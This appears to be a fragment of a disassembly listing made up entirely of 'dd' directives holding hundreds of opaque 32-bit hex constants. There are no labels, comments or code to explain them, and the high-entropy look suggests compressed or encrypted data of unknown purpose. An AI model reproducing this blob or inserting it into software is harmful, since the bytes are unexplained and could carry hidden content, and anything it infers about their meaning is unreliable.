dd 9A0A408h, 7DDCE3C1h, 3F9ABAC0h, 89744CE4h, 87247620h
dd 4A049EDDh, 9A00315h, 0D79FAA07h, 6EC3E520h, 9F08BFCh
dd 6202C6D2h, 80D404C8h, 4737CEBEh, 0D14E1E3Ah, 0C4EE1CE6h
dd 92B5DA8Fh, 0C0F98974h, 5D8E6809h, 933EAD45h, 21EE0C3Dh
dd 100B6982h, 17D441C7h, 0E609EF7Fh, 11866002h, 0BC89B1E2h
dd 804E3AA6h, 0E955DBFDh, 53452730h, 64F968D5h, 0B0856B5Ch
dd 7C9D520Eh, 3FD66788h, 0D8776C2Fh, 626E758h, 13121E44h
dd 0B2BD95C0h, 718A0908h, 480E5C1h, 0BB2188EDh, 47E95D08h
dd 0AB581203h, 6C8330D0h, 0BA614A28h, 77F743CCh, 963C7CDCh
dd 27DB2116h, 402B550h, 89AE0326h, 0BFCF05D9h, 4ABE8BCCh
dd 2DB8D04Dh, 7D2D97DDh, 5B44D601h, 5AE9C3D8h, 5860A864h
dd 43309180h, 0B01D5074h, 0D151065Dh, 1CD7011Ah, 0F626B909h
dd 0EABE806Bh, 777A1D9Ah, 24E9F060h, 5280C0CAh, 0C2913561h
dd 0B7560EFDh, 0C19598BAh, 0C04F02EBh, 8288C3D4h, 6B2351D7h
dd 7F7AABFEh, 2CA85834h, 0C49F6EFBh, 33F5979Ah, 0D746D2CFh
dd 7202FC33h, 8005EBC0h, 587360E3h, 9221B65Fh, 8CC7FFEAh
dd 0AA81C214h, 0C5BB6367h, 5E6B7E25h, 0F552FFE4h, 0C0EC24EEh
dd 6C7798F6h, 8C3487B0h, 0DB8117B5h, 8264579Dh, 4ECDB087h
dd 0BA85BA74h, 257D14EEh, 3CF3F206h, 0FF2054B2h, 61B80047h
dd 0D64487Ch, 0A90F3498h, 0D7E88373h, 95D981E5h, 0D540FF04h
dd 0A443EFC0h, 0D9D49529h, 36BE046Bh, 0EA357818h, 99C2BC19h
dd 0F96EF6C0h, 7F08A515h, 0CE31058Eh, 7505BB59h, 8EAE0CAAh
dd 59592C06h, 6767A25h, 0CE45A4F7h, 37408211h, 34650BBBh
dd 0B5D0E605h, 11B0504Ah, 993F179Ch, 11B11Fh, 0BD61E907h
dd 8649129Ch, 1F10775Ch, 792B30BFh, 6F0B317Ah, 484512AFh
dd 3713A4D3h, 2C0E2A55h, 0F3FF1213h, 0ADA4D60Eh, 0BF5F4E87h
dd 0DC6F4D81h, 68827A22h, 28D9753Dh, 53E7DF9Ch, 5AD08A38h
dd 0E3D520FBh, 14CC097Bh, 0DD66895Fh, 92EF90Ah, 17540C50h
dd 984462h, 3474E5B8h, 1F242E7Ah, 0B40F773h, 95D5B4EFh
dd 9E2B4AC2h, 366C0CF5h, 0FEC9B85Eh, 98FA740Ah, 0EFAFFC09h
dd 0E1D13E8Bh, 49019EF0h, 0C0DBF181h, 0E06B3884h, 729F2DBBh
dd 0A447BDD8h, 34807900h, 0BF8B6AE9h, 172F7446h, 910CA5Fh
dd 547062C1h, 0E4FD64B7h, 65B5EAFEh, 973BCD5h, 0B456EF1h
dd 42BE1186h, 0A7392BB0h, 9E03B9C0h, 897908ECh, 0DE28818h
dd 0F9DD773Dh, 9C5DC37Fh, 5EF910A4h, 11625BDh, 5591EBD9h
dd 0E56AC831h, 811F3082h, 3A1E092Ch, 0A4215E8Fh, 0D990BCE9h
dd 1203BF57h, 76A305Bh, 446C1D60h, 9199C738h, 2C0FD343h
dd 6B5A0B18h, 206F8978h, 56F0BEEEh, 6114CBBh, 803C1409h
dd 0C3EB71C0h, 7DFF7F2Dh, 26C234A9h, 50781576h, 43920968h
dd 15D54DB8h, 0DAE98522h, 2F5BBFEh, 60454120h, 0B9CD296Eh
dd 0F8BDC111h, 39A90407h, 1731F8FFh, 7C94B8F0h, 89A20250h
dd 0F49FE9C5h, 421CFC55h, 5B004369h, 14ECCB81h, 9422AD20h
dd 93A7EB1Dh, 0E93730FBh, 95923889h, 2769D907h, 1B55E35h
dd 0B60172ACh, 28F0B39Dh, 8ABB60F3h, 97CC365Eh, 1C13E76Ah
dd 9BB2C805h, 1E955CE9h, 10A8B2EFh, 134ABC68h, 5760070Eh
dd 0F77E7147h, 20E621D2h, 6D0CCAE8h, 0E420D95h, 0EDCC022Dh
dd 7F96E985h, 0C9C2F574h, 0EF97F10Fh, 6D312218h, 14BC5F91h
dd 825E4213h, 0E1F36E82h, 0E66A7FDDh, 0E1DD5A46h, 3B0E997Bh
dd 3C7D7089h, 253BC758h, 39CEECBh, 44624EF6h, 0F449CC7Dh
dd 1B12E731h, 50AA0DF9h, 0EC4E0800h, 1DDC059Dh, 0EEA1268h
dd 14DDBACFh, 0BE09E727h, 7103F07Ch, 0D3B8A0C3h, 489D01A8h
dd 48147229h, 0A1372B4h, 9761A473h, 320645Ah, 7589EB81h
dd 0F5215F4Fh, 82080471h, 5C520C41h, 738CDA24h, 48C5E4CFh
dd 0E6AD31EBh, 0FE8801C7h, 0B7F884FCh, 6682915Eh, 7A516568h
dd 0E507676h, 3CE9A8B1h, 0CD12C4D5h, 2DB21659h, 6E894186h
dd 4FDD3329h, 0F581C8D4h, 0AD02BF75h, 248BD1FFh, 9F7C88CBh
dd 0EDB5E14h, 261D716Fh, 4C6CCA29h, 0B4128DAh, 5B265E6Ch
dd 0BFD016EFh, 0A702973Dh, 6960859h, 16786976h, 0DF21A96Bh
dd 469EF320h, 56B65516h, 10E4085Ah, 1FF6625h, 5329FD05h
dd 3554E92Dh, 0BCF7DD31h, 131BA684h, 0CD883092h, 0EF485A22h
dd 81F4A628h, 0A73BBF33h, 4B925C10h, 0FD259AFCh, 72CB0DECh
dd 0AF787C41h, 9060965Fh, 5C6C2887h, 0CDACB81h, 0D3CD6B60h
dd 36901301h, 92D7E94Dh, 0BAB94881h, 3F37036Dh, 7938590h
dd 2F757508h, 7F1251D6h, 6366F975h, 2409AD02h, 18197668h
dd 985055D6h, 4CB50960h, 0E85721E5h, 1B85850h, 910D34A6h
dd 0FD31062Dh, 0C42AD52Eh, 0CBB6440Fh, 44EB0720h, 0AFEB8811h
dd 4740664Eh, 3CEB61F1h, 40579842h, 729F4EE2h, 0C03DB8F7h
dd 0FE35402Ch, 5D7B6207h, 0DBA5A627h, 0EA77A7A9h, 0B8625D96h
dd 0EE07CE72h, 6F187F54h, 1B7AC660h, 0E9CB1780h, 5A758230h
dd 0FF5AB3F4h, 0D7693C73h, 0F62A99E6h, 8B09C55Dh, 8014653Eh
dd 8549900Ch, 44C9A022h, 2AEA2E62h, 12081E30h, 487EA126h
dd 0BDAAC23Ah, 54B87050h, 4A99EB00h, 39E97BAAh, 18A0BA4Bh
dd 449741A1h, 580E77Eh, 8D6850A9h, 3E007C1h, 0F577CC25h
dd 7E538773h, 5A8BAB16h, 0B325A2Dh, 0CE87798h, 7ABDD0A4h
dd 96D0BC13h, 0F19BA85Ah, 7A34FAE9h, 26D22568h, 3320E3C6h
dd 0B0E0971Fh, 0A02DCEAh, 89582155h, 0E9A189D5h, 0D344FE9Ah
dd 5D83C8AFh, 8CFAAE4Ah, 0F9D6B644h, 0AB5E23F7h, 68529143h
dd 41A3CC4Dh, 36584C1Ah, 6E97F9FDh, 2D01C8C8h, 1ACD2660h
dd 5F4C283Fh, 3084514Ch, 0A0685BF5h, 75059A46h, 0BEC683FFh
dd 624E7F0Fh, 0D538898Bh, 0FBC16024h, 0E5D924E7h, 40532B59h
dd 0E4D4B00h, 2BF23A2h, 38097C14h, 0BAE0D7F7h, 0E62D0842h
dd 0C2FD8F1h, 57E94F47h, 59958859h, 0EF736F2Bh, 0F8081B8Dh
dd 0A7F26556h, 31D1EEC5h, 4C20FD29h, 9DC9928Dh, 41EE1027h
dd 3C9F2342h, 0CB011381h, 7CFCFA01h, 77202A5Ah, 481472E2h
dd 460662C4h, 286FEF1Dh, 880E590h, 0F82CE959h, 0E7BC927Fh
dd 7DB1F77Eh, 46A7126Eh, 2F02D4Ah, 0EDC620h, 0E107705h
dd 18C1352Eh, 2D66620Eh, 1D1982B1h, 102BC155h, 0C188F651h
dd 0F75A75CAh, 8740912Eh, 0E70B03A5h, 0B7AA8572h, 27AC9795h
dd 0DED6D1D3h, 4B816D78h, 0D1B516EAh, 1413C06Eh, 0AFB4AF00h
dd 0BCA7CC80h, 0CAE90B43h, 99B432D8h, 825EC683h, 7BC7E4F5h
dd 0FFE8FF6Bh, 0DB67E5E9h, 0EB75DFB3h, 2F1C195h, 1D1AD764h
dd 80A2C6DCh, 73131FE2h, 6FBD5043h, 0EF0C165Ah, 35F36064h
dd 0FC6DBE17h, 90E2E743h, 0FEB6D223h, 0C506A05Dh, 0ED4BC011h
dd 425C5992h, 0D5257AB3h, 0DEAD50C7h, 3DC943DFh, 79EBDC4Eh
dd 553160F7h, 41706805h, 7872262h, 8012C614h, 0EA13BD96h
dd 40409AD4h, 49A45E07h, 7EDF8925h, 31D042EFh, 0BEB965D5h
dd 0FF80E0AFh, 5854505Ch, 1714F94h, 0E9013302h, 163D6965h
dd 3407A04Ch, 0D40EB83Fh, 7A45FC0Dh, 0BE3DE60Fh, 6598035h
dd 0B7299075h, 0E3A526C5h, 106FF33Ah, 73801E5Ah, 883DC307h
dd 8F9F5BD9h, 0D524DFA5h
dd 12F3D8ADh, 739B111h, 0E4094E2Eh, 0F100BE50h, 2041AECEh
dd 71E59045h, 3AFA304Bh, 8A659B28h, 1AF0C55Eh, 27AC504Eh
dd 685C16C4h, 0D60EE82Bh, 10395107h, 0FF9B6367h, 4D48F9E2h
dd 580473E7h, 5FE909B7h, 0BE07AFE8h, 0CF17AD7Eh, 142FD146h
dd 8BDBF4B5h, 1C553CCBh, 69E7A094h, 35848241h, 68FED083h
dd 9BB71D53h, 6F6CF865h, 0E9430B34h, 0B1F47A14h, 0D7881B87h
dd 78BDC1A3h, 87142747h, 0F569AFD1h, 0F800D793h, 51AB2B09h
dd 0C597E946h, 0C301A3h, 96699FDh, 0B7FC4168h, 46E9774Eh
dd 0BE84E085h, 0BCBB6C34h, 5A05851Bh, 5569B3ADh, 9252358h
dd 68BCC84Ah, 8C124E11h, 0FE00CAB1h, 885066C6h, 0E9D0F6F0h
dd 80581083h, 0F19FDFEEh, 0A58FE918h, 0B99574FBh, 0FFFA7B89h
dd 2D2699F6h, 4D0B09h, 8D2F4272h, 0D0017C04h, 1C68081Ch
dd 9DE90B14h, 2A05D761h, 9575F1F8h, 923FFB7Ch, 0B6AB7BF9h
dd 0FE277B8Fh, 6F10FE42h, 0BF14B525h, 0BB8554Eh, 0CA310244h
dd 99A1DE59h, 2B2DFF75h, 5E20A1C8h, 3A2DBA6Fh, 0BD92CDF8h
dd 0E440B27Eh, 0B53DF847h, 7936E110h, 249A7F95h, 7640947Fh
dd 0C27499EFh, 5C053A05h, 0CD922CFEh, 3F200DE9h, 0CE2980F1h
dd 0E53C40B7h, 1355E31h, 21E90680h, 0C0926998h, 33529135h
dd 16C5904Fh, 0FB22F03h, 0BA6AC6A7h, 5AD68508h, 0C38EFB58h
dd 8D795716h, 0C7B07F43h, 2FE9F853h, 12F58B98h, 3964DD2Eh
dd 0B78734BFh, 7C629E51h, 0B359FDBAh, 0B2B050C1h, 2DE96DD8h
dd 0D20627Eh, 65133A83h, 0E700ECB1h, 2FF729D6h, 0F4882DE9h
dd 98C36FFh, 0C0FE93B0h, 6F06F05Dh, 9BD0ED8h, 6862AAE9h
dd 0AE9A235Dh, 0F19F023Ah, 41AA0F7Dh, 0D640A081h, 0D1A96071h
dd 4E055A00h, 292D367Bh, 742E7C8h, 1E2B5159h, 59E46F86h
dd 77F01A2Fh, 0FBEF64A4h, 3161C2F5h, 801B4B3Bh, 0EA58A2D2h
dd 77F607C6h, 0AFD229F0h, 0FDE65F49h, 348B5D16h, 6E9E39AFh
dd 0C6B61B18h, 3F50502h, 5D4819E9h, 85328993h, 5AE79CD6h
dd 0FEA4BCC2h, 0A9F173BBh, 0E6273415h, 0F0F610AEh, 0A79342CAh
dd 98855D97h, 7E415E03h, 3FF29F60h, 0A35AF79Ch, 1F9301F0h
dd 7D68C9CCh, 0C8F939Fh, 165AA58h, 0D6C2C559h, 0FDB86313h
dd 74586E42h, 56BD7E20h, 39B7C26Eh, 7EC200Fh, 0F66EF480h
dd 0BE2FD36Fh, 0A3338E0h, 5140E73Dh, 4A6B0EAAh, 0E98515A9h
dd 49CE033Eh, 10A3F209h, 6934E160h, 90383C1Bh, 220D0C94h
dd 1D0C4F41h, 19532710h, 82476F1Ch, 5B138948h, 0E1F8BB9Ch
dd 0C1E04A9Dh, 0EBE534Ah, 0B5B95B34h, 35CEF82Eh, 3B1EC9Fh
dd 575BC281h, 0C0946E7h, 0D5450D70h, 202E150Ah, 140CD008h
dd 78685F04h, 431EE6Eh, 8C666D9Ch, 0F348B900h, 0CB814364h
dd 60473F2Fh, 1290C383h, 0A0C6E7E8h, 3FE7F7A1h, 613108F1h
dd 956C69D1h, 67E2099Eh, 0F630D0A0h, 40970CCFh, 0B4DF0363h
dd 0A40F6204h, 28D87955h, 75EF2F93h, 0B82D7AA5h, 0CAEF4B06h
dd 32682C9Ah, 66607B26h, 0E87998BAh, 9539ED52h, 0AD467112h
dd 0C7CE505Fh, 0F14F360Dh, 0EF207441h, 274AE9h, 57B8BAB1h
dd 89BD66E3h, 0D2CD84FFh, 60555EBAh, 0E1AFEA05h, 49F40FBAh
dd 0B86C4974h, 55E4A941h, 1F210068h, 0E95D0DF0h, 38913ED4h
dd 6913DF3Bh, 0F7058CEAh, 0F65C25F8h, 2E0ADE6Ah, 30C0CC17h
dd 0F21FA23h, 20F4EFBEh, 0D2A1E9E4h, 0C5845B2Eh, 406AE306h
dd 0D85DE904h, 9BAB4A2Fh, 5B7C1786h, 0AF960EB8h, 5FE9A7DCh
dd 0A557BC9Fh, 461658FDh, 4D48F352h, 0D0A14FA2h, 0F45F3A92h
dd 77066D85h, 0C2016B25h, 5808814Ah, 8898A32Dh, 0B8386802h
dd 8EAF4E30h, 8AEC4A41h, 1352D2A2h, 7737B830h, 20172CC2h
dd 681B128Bh, 0AAF716AFh, 5CF5283h, 28F1170Eh, 0CDDA0955h
dd 0C9F9D955h, 6A829F90h, 0A4A0F37Dh, 2B12F8FDh, 22BE313Fh
dd 0A77FFB8Ch, 26F1F753h, 602B36AFh, 6EEC2D9Ah, 761C2E2Fh
dd 120720B9h, 0FADC60E9h, 5B7C5AE7h, 0F7B705F4h, 0D2DB82DBh
dd 675B6CE9h, 0EA407AC3h, 0B7E104B6h, 81F728D5h, 25E52756h
dd 7AD1D8B8h, 97FEF1BDh, 0C0838347h, 0C18081F7h, 70CEC155h
dd 0E7B52AEBh, 0B246156Fh, 44E2800Bh, 40B0B306h, 963F5426h
dd 0E7066F41h, 41D96330h, 280E3F50h, 77E38943h, 82F02F07h
dd 0C4FD2F66h, 15E925ECh, 0CE084153h, 0D8F70ED4h, 4B24D04Fh
dd 0BC89AF4Fh, 177B43Fh, 2768F548h, 0BD567BA4h, 3085F3A5h
dd 0AADDAF5Ch, 1A686A00h, 3C30BF36h, 49582264h, 0D1D3177h
dd 5160EF29h, 0E95F12FAh, 2A4AB1E6h, 773461AEh, 7DD82B36h
dd 2B5E89F6h, 51E0CBE8h, 216B73E9h, 4216D583h, 0BF51573Eh
dd 99CFB9E9h, 881631B5h, 9D9D823Bh, 8BE3BCA0h, 7258F240h
dd 4B121D6Bh, 0E2A174D3h, 0EA25386Dh, 1D8B027Bh, 11C777DFh
dd 66FCCB37h, 0D8F482BEh, 0F2F1F6C3h, 0BD2AD085h, 0D6681E30h
dd 0BCED554Eh, 0C6A0AB8Bh, 0C2175DB9h, 0A0C332DEh, 0B04DD367h
dd 3D10FEE1h, 0F7973A55h, 236DEEF9h, 0BFC49F30h, 0C15AC256h
dd 0AF04514Dh, 5C89C2F8h, 0EB8028D0h, 5E3909CFh, 41B8F931h
dd 0C9B9A45Ah, 0B8DE14D2h, 50946F10h, 2A64DFA0h, 0F0AAC789h
dd 0EC158FFh, 69C46145h, 4087A83Fh, 7F30E908h, 0BBC53546h
dd 10B53B79h, 2232ED0Fh, 9EE9EC21h, 5DB87ADCh, 46C06882h
dd 4560FD7Eh, 1A596B16h, 0D41F581h, 685DE603h, 18550D9Ah
dd 671955h, 0E0C134F2h, 0EAC6808h, 1A7698BDh, 0E87D8264h
dd 88383BBDh, 580ADAFh, 250F7583h, 30F50176h, 9F5EE966h
dd 0ECB8E380h, 141F9E1Fh, 33099640h, 0C38930F4h, 5C522968h
dd 1BB2324Eh, 41F7CA6Ah, 9025911h, 0BB0F02D7h, 0D89CC8B6h
dd 0D5569D05h, 1B9C5519h, 8093A138h, 66D905A7h, 5512EC27h
dd 6224B66Ch, 0F1012E64h, 5D866B39h, 689333B8h, 33CCFB2Eh
dd 7C3027EDh, 0F51731F7h, 2D00F02Ch, 437FFFFBh, 3E520168h
dd 0B9AD4E1Dh, 0ADF12917h, 7F328BDCh, 0E37E990h, 56056B2Dh
dd 5D3B3A1Bh, 2D281201h, 30E0F84Bh, 86674AD2h, 9973D9F9h
dd 300E09F7h, 5558C5h, 0C6B252F7h, 26C23980h, 3876CABDh
dd 495D1EF2h, 34546E78h, 0A512AC74h, 2730AF5Fh, 1A1A35E1h
dd 0BE5BA3Dh, 64D28280h, 2592310Ah, 50DA290Ah, 0DD260BB8h
dd 842B0803h, 850F467h, 7A60EF5Eh, 27665FC1h, 0C25502F6h
dd 72080B62h, 0B5C871EBh, 0D1EBA27Ch, 6A1342A5h, 2507C67Dh
dd 0B3AFF3B1h, 0D9C06CE9h, 0B1673B8h, 40A839B5h, 0B407BB94h
dd 0B2239AD4h, 780B2DEBh, 0E8E9034h, 41D14B0Fh, 780D83DFh
dd 0C3E07099h, 7C2F94D7h, 736AD64Ah, 2B9CCC04h, 28800D9Fh
dd 4EB0254Dh, 17F9B8D9h, 52E54453h, 0FA7E522Ah, 6A863EA3h
dd 0EE05A933h, 2CFA6C38h, 0FC0E4F82h, 872621Dh, 0C117F60Ah
dd 955ACFA4h, 338E0B0Ch, 6F1F4C0Eh, 5DACD7D1h, 3CAD9861h
dd 0CAA4436Ch, 36EB3C00h, 0E9652741h, 0B2454B42h, 8A804A55h
dd 44073719h, 384FE931h, 30788EF3h, 68896A43h, 0D2AC5DC8h
dd 8A1F055Eh, 0B3026549h, 0D571E854h, 0E9213534h, 0EBA1EA28h
dd 99EFED3Bh, 0AD010B70h, 0B1643F53h, 0E985D0BEh, 68B76680h
dd 0B95B3908h, 9AFEA75Dh, 1D9EDE49h, 784705ECh, 0F0F112F7h
dd 0E529E9D1h, 8708CF7Bh, 5629127Ah, 7E50AE50h, 24EA8098h
dd 0C4FA2CE0h, 12BE5E6Eh, 95043D06h, 1E9BF487h, 0D7409375h
dd 0BE9D5297h, 0E8050017h, 8C5249F1h, 408CE310h, 0E6975DCFh
dd 0E1E620BFh, 0A7685E0Ch
dd 49702719h, 0DC847BCCh, 7F590932h, 56D59785h, 0BEBADE1h
dd 0D7C0ED01h, 0C1582C1Ah, 0EE23A320h, 4BFDFCC7h, 523DA31Ah
dd 49925C6h, 97FABEFCh, 0AA6BA27Ch, 0C35A7EDAh, 0F47F9222h
dd 0B85C2538h, 0F092F153h, 863E922Fh, 412597E0h, 2AC74B5h
dd 0B4EC7184h, 604B1AFh, 177DBD52h, 0CAAE72F6h, 7A503F6Eh
dd 0F8B67D4Fh, 1783ED9h, 0A83D6855h, 0CE25D28h, 277B067Ah
dd 563ED70Ch, 0BD0A4FF1h, 0C3408C2h, 3A061413h, 0EC71F72Fh
dd 0E8790CFBh, 0C1C40145h, 0A94208A2h, 0E1497AA6h, 3799E106h
dd 0B383D9Fh, 380AFFFCh, 41B6A5F7h, 0E6BCD852h, 0E3295613h
dd 24A6D7F2h, 1EC2B51Ch, 0CBC24EBh, 0E1F33633h, 0CC278996h
dd 0BFA020DAh, 780FDB90h, 6B72F807h, 0C58B917Bh, 4EBFA82Fh
dd 9CD7CAF2h, 21125CB8h, 0D629FFD0h, 0C4C9B27Fh, 2822F733h
dd 4B7F296Ah, 0E9430C62h, 8022823Ch, 0F62FF527h, 0EE31FD5h
dd 0FF124DA9h, 0A94B2FB3h, 7FA5DE09h, 0F39740BCh, 0D98D8AE0h
dd 977257Bh, 0BFBD4C21h, 0DC4B0C7Ch, 2C870967h, 8B13C5F5h
dd 0E4779377h, 308C2003h, 511EB805h, 0DF801B73h, 0FEAF060Ah
dd 0BF96400Dh, 2A6FF802h, 77474F10h, 4A847F7Ch, 3681BA07h
dd 0C51298A3h, 3ECD585Dh, 2698D529h, 3D681A71h, 0A56F5BBEh
dd 0A440A4A7h, 8850E0F2h, 90E3E4D4h, 0EA3425CFh, 591C757h
dd 0F8CD2D82h, 778748A1h, 9F8A464Ah, 1861BBD3h, 8E3A31B6h
dd 0EA1D1607h, 0D4D607F2h, 67A0FBB8h, 4D882DE9h, 4157FCA9h
dd 0DD022939h, 66497450h, 0E4A86701h, 0C48D2EBh, 92A07DAh
dd 160599AEh, 5DE9688Eh, 59174895h, 0AB5FD1FDh, 0E02AFB6Dh
dd 0C85631CCh, 87542792h, 0F19282DDh, 4AC47A62h, 0BE278056h
dd 0CD7EDB18h, 898E039Dh, 85A02CD8h, 83F7A52Bh, 856688D9h
dd 55CDDDFEh, 1D9AAE6Dh, 3561AF5Fh, 8102C187h, 8E1ED2E0h
dd 4156222Ch, 568A470Bh, 74B1609Dh, 402F2C99h, 270B0156h
dd 89D4CD41h, 895A4BD3h, 3AB902D7h, 2E4F93E1h, 2F7754B2h
dd 0B1285461h, 0DCF22FECh, 60335790h, 0B9D76F34h, 0FB2BE231h
dd 555D0922h, 510BC6C6h, 58700E28h, 0DCFC953Ch, 58F41D30h
dd 0FA184BBDh, 31AA545h, 906A3CEAh, 0BAE3444Fh, 91ABCD17h
dd 0D158E4DBh, 2FEF610Ch, 0E44CE9C7h, 6780FABEh, 94F19ECCh
dd 0DCFB0AEh, 8D083809h, 0ABDE0207h, 0EB560487h, 0B55EB0F4h
dd 1F332678h, 0B2AC1018h, 56370B7h, 0F9142FB9h, 0F4D7F11Bh
dd 5DB27122h, 2D685F09h, 20A8664Eh, 0BC807536h, 0A3B912C9h
dd 30FC2D93h, 934B14E3h, 0E3A4DCBCh, 4DE25FCh, 94AE5818h
dd 973DABD1h, 1A44EE2Fh, 16D12E38h, 69CA6EDh, 55DD1FC3h
dd 0A45EEB57h, 7E411107h, 0E8B44687h, 754C780h, 59EB57E3h
dd 125D9677h, 4576F968h, 622BB3FFh, 7729E583h, 942D6670h
dd 72ECF6D0h, 8877C555h, 42246938h, 0FEB013BCh, 6C1939AFh
dd 3E91742h, 0A8FA7E08h, 0E5B70F62h, 9AC5F888h, 0C09BEAFBh
dd 0CC26A248h, 0E20FCF05h, 0EE285744h, 7EFCC25h, 9B0128Dh
dd 3672A2ABh, 31DD1AC0h, 60E916B6h, 5BBA6520h, 375C2239h
dd 6094003Fh, 49E91A4Fh, 0DBF6B744h, 5A47DA72h, 537DC257h
dd 9F4EC54Ch, 0BBE61393h, 77249E45h, 296825D1h, 77E812C8h
dd 39D8F680h, 0C625012Ch, 0A0348C40h, 89D3E92Fh, 0EF03FF32h
dd 0AF0216B2h, 6B6568B6h, 0FEFBC401h, 956E9A1Bh, 70E41CF7h
dd 67C35B5Ch, 9468643Ch, 0CAD980AAh, 612D320Dh, 29D80348h
dd 7271077Ah, 0A3461C78h, 66026374h, 0B72317BDh, 0A8F842FBh
dd 0E602AE2Dh, 75035C9Dh, 6429B88Ah, 58660186h, 42F6D528h
dd 0C69875E8h, 905EB753h, 0C00E8EBCh, 5ACBF730h, 0E94165FCh
dd 680260CFh, 7E140DF6h, 80E32DB4h, 0B151AC91h, 0EE504EFAh
dd 0CBBF9DD4h, 0F2CB7611h, 0A4757E3h, 0DCE16992h, 8888D1EEh
dd 0D7CB61CAh, 90ED6385h, 0E3814337h, 0E51ADB0Bh, 2C30560Ch
dd 0AD4005Ah, 0CB31215Dh, 0B4950CB5h, 52EC4069h, 575A95ECh
dd 77C123ECh, 34AB9608h, 844A588Bh, 69EE89AAh, 0A048A1h
dd 11C918CAh, 240EF81h, 0E9099D0Fh, 0EE7F2DBFh, 7010F644h
dd 9C7D9775h, 1E5C95A3h, 9AF5E0F0h, 0ABC4394Dh, 1420F4A6h
dd 257FE7E5h, 8965C96h, 54BFDBFAh, 0B7C60FCh, 0B58C2F25h
dd 637799C0h, 5DA1384Ah, 682B027Bh, 40D1538Eh, 870B9683h
dd 0FC275FF2h, 0E9CB6174h, 8F785273h, 0B95B9BC5h, 2552856Eh
dd 82E9E133h, 0B6B7AB3h, 2F103CE5h, 0A165084h, 602FD687h
dd 3060AD03h, 9C0C2321h, 3D0219B0h, 0FA42ED05h, 2DC24166h
dd 25C10744h, 0BF000AB6h, 0F4004BDEh, 77CF8154h, 0BD3E2C60h
dd 62D0743h, 9DB0D806h, 0AB096BDAh, 5CF29259h, 0B52D00B8h
dd 682F405Eh, 18019927h, 2C480AD6h, 0A82F2B81h, 33921F07h
dd 0CB05813Eh, 0F84C6638h, 7A12DF0h, 64D87E5Eh, 0FFB76E47h
dd 2F1B25C1h, 2CD03131h, 0C0536C1h, 9FB90958h, 0C07C59BFh
dd 39F1A396h, 0C969F82Bh, 580AC17Bh, 732DB86Eh, 8E28010Fh
dd 2ACBE54Dh, 0E8928BE9h, 0ECC81054h, 95FB9A40h, 0BCD1BB09h
dd 206FDB49h, 0BF6BB2EDh, 6ADA3C56h, 19445F17h, 1F2A8922h
dd 6F79D5EAh, 0C29400DCh, 0E2D84A08h, 0DA5C97EAh, 31C8C2h
dd 8F34E3B9h, 289F4650h, 2FB05017h, 4FC2E601h, 0CAF075D4h
dd 7D672598h, 97F89FDh, 0ECC75AB6h, 0A2145A2Dh, 3B55D514h
dd 0FACC4AD4h, 0FF7D53E0h, 7C920B78h, 917F61C2h, 0AB3E66EAh
dd 95362939h, 57B96802h, 765D46B3h, 0A7015900h, 0A642DD0Dh
dd 0EF227C55h, 7D3E85B5h, 0F71823DEh, 376768C8h, 3CF3F983h
dd 898B8C68h, 7F44B2D5h, 0FA9FDFF2h, 28477E98h, 0B50826E5h
dd 20251CDEh, 2D7B7D47h, 0BADE9F3Ah, 0E9050CC8h, 485636C3h
dd 227FF290h, 4CB8B0A4h, 609F88F0h, 0A0569920h, 70D837h
dd 0F18176BBh, 19A3384Ch, 971100BFh, 0B86F1848h, 593B4004h
dd 36C78019h, 0FEF0AC06h, 138B9A3h, 0CE8DF393h, 82C53929h
dd 0D44B5EE9h, 60565944h, 0A9F6101h, 55517C98h, 0BFE354F8h
dd 0BBEE3718h, 5E500ECBh, 0E57F72F8h, 4074E957h, 0E7C557EBh
dd 51BDE905h, 0BE6A38FAh, 0AA0844E1h, 7CB05917h, 32B60968h
dd 0DD3DCDh, 35569335h, 960CC17Ah, 206D1D52h, 0E02F69Bh
dd 8914981Eh, 0C6D3D7F5h, 507A20C9h, 0C1607475h, 0D7A679DEh
dd 6E816BE8h, 800072E4h, 0C07926E1h, 0C11C0576h, 0F6CEFEECh
dd 4C98DD9h, 0E8032F61h, 769AE4Bh, 52872F1h, 0ECD6B522h
dd 7CAD3C66h, 3A901B74h, 0BF57D814h, 48A4808h, 9D754F3h
dd 7F5E2C82h, 6A6B0880h, 3F29E97Dh, 0B403BC69h, 0DA1F9E19h
dd 0A6F67113h, 0FBC007Ah, 5485109h, 38712000h, 642B250Ch
dd 0FE215098h, 0BDCB4F07h, 503E84DFh, 815F3FE3h, 13F4DD1h
dd 0CC6AA868h, 6701B296h, 0C049EA80h, 0D56005E2h, 0FAC6BF4Fh
dd 93FDD0F2h, 0B7BE303Ch, 14E9856Fh, 86B88CD0h, 48786Bh
dd 135D8F7h, 9AF98C6h, 0D9A9C34Fh, 0D70A33E2h, 28BA0C16h
dd 534F5926h, 0FD84778Ch, 55E96DECh, 4030F0C5h, 40A74173h
dd 8A4B608h, 0C41AF795h, 55092358h, 0E615AF68h, 33A220C6h
dd 0F58BB02h, 7D01A5A7h, 5FFBC203h, 26700D4Ch, 8DCC2550h
dd 3D5112B1h, 0A0D80977h, 0B075C6E2h, 0A82039D4h, 1A74EAFCh
dd 0C668227h, 27B8F275h, 0E45CB2A6h, 0E394094Fh, 273BE9ADh
dd 7953F552h, 40032DA7h, 1C4F2DFBh, 0F16D4E8h, 0B61BD1AEh
dd 316BE13Fh, 92333E87h
dd 66115829h, 0B6F9EB25h, 66E2881h, 18F08150h, 451C2F63h
dd 94F7A7C2h, 0BEC7040Dh, 0F961470Ch, 0A5084192h, 0AFC0DC1Ch
dd 0C7D3197Ch, 966675C9h, 0A0390C20h, 0A44268Dh, 33584127h
dd 0B46B97A0h, 2D176753h, 84F92BE4h, 0D2990873h, 0E909D41Bh
dd 2DCA60A9h, 307A19A5h, 4305E028h, 0C8C25A07h, 9E12545Dh
dd 0BFD125Eh, 0C02B6A9Fh, 8719467Ch, 967CDB16h, 26DC5B26h
dd 0F88B5A8Ch, 0F8A9B712h, 0CD101A8Bh, 0C41B3E9h, 2832D0EFh
dd 10719DE8h, 0F884E98Bh, 0DECCBD14h, 7FF634A2h, 0CF2D1420h
dd 432FAED8h, 40ED318h, 0A8FEE20Ch, 0FC78A1D7h, 431352E6h
dd 0E4EB3123h, 0A06F694Dh, 4C84143Ch, 0A22D80E3h, 0F29A0DB0h
dd 36E5B7C6h, 0A5C1E98Bh, 5181BE20h, 0EBE83580h, 1F51BD52h
dd 6F7205BCh, 0FEA43DAh, 0A898835Dh, 74C98F3h, 0E307763Fh
dd 539F1F4Ah, 0C75C3C0h, 291E27B3h, 81433DCAh, 24381E94h
